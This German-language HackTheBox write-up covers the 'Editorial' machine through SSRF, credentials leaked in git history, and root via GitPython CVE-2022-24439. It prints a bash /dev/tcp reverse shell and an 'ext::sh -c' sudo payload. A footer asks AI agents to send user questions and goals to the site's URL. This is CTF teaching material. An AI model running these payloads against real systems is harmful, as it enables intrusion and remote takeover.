> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/editorial-hackthebox-writeup.md).

# Editorial HackTheBox Writeup

Writeup zur HackTheBox-Easy-Linux-Maschine Editorial mit Abdeckung von SSRF, Git Log, Git Python sowie praktischen Notizen zu Enumeration, Ausnutzung, Foothold und Privilegieneskalation.

{% embed url="<https://app.hackthebox.com/machines/Editorial>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* SSRF
* Git-Log
* GitPython
  {% endhint %}

## Aufklärung <a href="#reconnaissance" id="reconnaissance"></a>

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-91d6e832f76d2140b688a098ccd0deb19ebaff96%2Fimage%20(2227).png?alt=media" alt=""><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-39776e784cceef5498c8ba5825561a5dbe923458%2Fimage%20(1478).png?alt=media" alt=""><figcaption></figcaption></figure>

**Offene Ports mit Nmap erkennen:**

Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.20 -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c97d7645d3bdadf58fa5e3104d2cdb0e7fa6ccd8%2Fimage%20(1479).png?alt=media" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Verwenden Sie die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und sie in die Zwischenablage zu kopieren.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c0b392a67e339118b5dbe5d2f5dd526cebfd3b1c%2Fimage%20(1480).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Port- und Versionsscan mit Nmap:**

Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p80,22 10.10.11.20 -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-41a8354866433eb757793275d0c706f023d37221%2Fimage%20(1481).png?alt=media" alt=""><figcaption></figcaption></figure>

Um Domänennamen per DNS in IP-Adressen aufzulösen, fügen Sie den Domänennamen, der mit seiner IP-Adresse verknüpft ist, in das `/etc/hosts` Datei vorhanden sind.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea702f38bc620855cbf65d4c331fa6b509971c14%2Fimage%20(1482).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0dd61f6c4ce65aa255b3ca646997c7a65b057d82%2F%7B5A3E0C8C-D1A1-4B9E-87F0-BFC9F3511BE6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## Schwachstelle [SSRF](/de/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf.md):

Die Schaltfläche „Browse“ ermöglicht es uns, eine Datei herunterzuladen, bei der es sich angeblich um ein Bild handelt, das das Cover eines Buches darstellt. Während das Textfeld „Cover-URL mit Ihrem Buch verknüpft“ es Ihnen ermöglicht, eine URL einzugeben, damit sie vom Dienst angezeigt werden kann und ein Bild hochgeladen werden kann.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-259f3f78e655a8cd2a721b7265c0868a3f8cfd70%2Fimage%20(2232).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Öffnen** [**Burp Suite**](/de/hacking-tools/web/burpsuite.md)**:**

Wenn ein Bild auf den Server hochgeladen wird, wird ein Link zu seinem Speicherort bereitgestellt.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fb5ec8b1ceac12916088fefb6f77cb908b4ce1cd%2Fimage%20(2233).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir führen dann einen Brute-Force-Angriff auf alle 65.535 Ports durch und sehen, dass nur Port 5000 eine andere Antwort zurückgibt.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-280066fe412bec96abe1b50c3e10e4bb9cf1f313%2Fimage%20(2234).png?alt=media" alt=""><figcaption></figcaption></figure>

Durch Überprüfen des Inhalts des internen Ports 5000 stellen wir fest, dass darüber eine Datei heruntergeladen werden kann.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ee3c513aa0a6d465c6f545582698ccff048a2526%2Fimage%20(2235).png?alt=media" alt=""><figcaption></figcaption></figure>

Diese Datei im JSON-Format listet interne APIs mit ihren zugehörigen Routen auf. Unter ihnen ist die `message/authors` Route besonders kritisch zu sein.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6c34b4481608193cc7ea3c11419b877740924604%2Fimage%20(2238).png?alt=media" alt=""><figcaption></figcaption></figure>

Mit Burp Suite greifen wir daher über Port 5000 unter folgender Adresse auf die Datei zu:

```url
http://127.0.0.1:5000/api/latest/metadata/messages/authors
```

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f08219a35902676466733c842c69c19c70985fb2%2Fimage%20(2240).png?alt=media" alt=""><figcaption></figcaption></figure></div>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2102d6cb0943845aa378bdf9dbd1e9321a189a47%2Fimage%20(2241).png?alt=media" alt=""><figcaption></figcaption></figure>

In dieser Datei finden wir auch einen klaren Benutzernamen und ein Passwort `dev:dev080217_devAPI!@`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a2765810dd3026cc971f04f81fbba9b0fdd72b2a%2Fimage%20(2242).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir versuchen dann, uns per `SSH` über Port 22, der offen ist, zu verbinden, und schaffen es, die User-Flag zu erhalten.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-18f65bef1b601852f33cd47a50b22db9b2b7dc8b%2Fimage%20(2239).png?alt=media" alt=""><figcaption></figcaption></figure>

## Privilegieneskalation

#### Nach dem Zugriff auf den Linux-Server wird empfohlen, im Terminal die folgenden Befehle auszuführen, um die Arbeitseffizienz und den Komfort zu optimieren:

```bash
script /dev/null -c bash
# Strg+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

Wenn wir zum Root-Verzeichnis des Systems navigieren, sehen wir die Existenz von zwei Benutzern: **dev** und **prod**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-942393463689becb05c753d2ea1f18cfdb44b238%2Fimage%20(1465).png?alt=media" alt="" width="543"><figcaption></figcaption></figure>

Der Benutzer **dev** hat zwei sichtbare Ordner und einen versteckten Ordner namens „git“. Durch Ausführen des `git log` Befehls sehen wir zwei unterschiedliche Commits.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-26287b00d35326f41d505a0f6da3ddb10f96431c%2Fimage%20(1464).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c30a3c7411c2478a3ba83af9bb58752dea275271%2Fimage%20(1466).png?alt=media" alt=""><figcaption></figcaption></figure>

Unter diesen Commits erscheint das Passwort des Benutzers **prod** im Klartext: `prod:080217_Producti0n_2023!@`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5f13dc1e16dcc6da452cd1d0052b19db00cc3ce9%2Fimage%20(1467).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir melden uns dann per SSH als Benutzer **prod**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1d2fcaa65a841b9aac04eaa5e8dbfb092bfc4df2%2Fimage%20(1468).png?alt=media" alt=""><figcaption></figcaption></figure>

### Sudoers:

Durch Ausführen des `sudo -l` Befehls stellen wir fest, dass wir die Möglichkeit haben, ein Skript als **root**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0cd2b230bb0ff5d49a8b5ef71d7b954ebd844a10%2Fimage%20(1470).png?alt=media" alt=""><figcaption></figcaption></figure>

Eine verwundbare Version der Git-Bibliothek, erkennbar an der `clone_from` Funktion, ist vorhanden. Durch Anzeigen der Liste der Python-Pakete mit `pip3 list`, bemerken wir, dass **GitPython 3.1.29** installiert ist, eine Version, die für die Schwachstelle bekannt ist **CVE-2022-24439**, die die Ausführung beliebigen Codes ermöglicht. Dieser Fehler kann wie folgt ausgenutzt werden:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f3154ff277bb9f3235fabaae18e71013083c8853%2Fimage%20(1471).png?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/gitpython-developers/GitPython/issues/1515>" %}

Wir werden im temporären Verzeichnis ein Exploit-Skript erstellen, um eine Reverse Shell zu erhalten:

```bash
bash -i >& /dev/tcp/10.10.14.139/4444 0>&1
```

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7120311cf7114d2d87bb1e0305c66a029557c355%2Fimage%20(1475).png?alt=media" alt=""><figcaption></figcaption></figure></div>

Dann lauschen wir auf unserem Rechner auf Port 4444 mit **netcat**

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ce3b29b6e61a22f094b76774c66008acfd4a5203%2Fimage%20(1474).png?alt=media" alt="" width="502"><figcaption></figcaption></figure>

Schließlich führen wir die Binärdatei mit **sudo**, wobei wir unseren Payload hinzufügen:

```
ext::sh -c bash% /tmp/shell
```

{% code overflow="wrap" fullWidth="true" %}

```bash
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c bash% /tmp/shell'
```

{% endcode %}

### Root-Flag : )

<div align="right"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9909f06029e6b08e613e66ff05f011c80d899157%2Fimage%20(1476).png?alt=media" alt=""><figcaption></figcaption></figure></div>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-30eeacca75f027f1efbe38d4438d65d7a462635a%2Fimage%20(1416).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/editorial-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
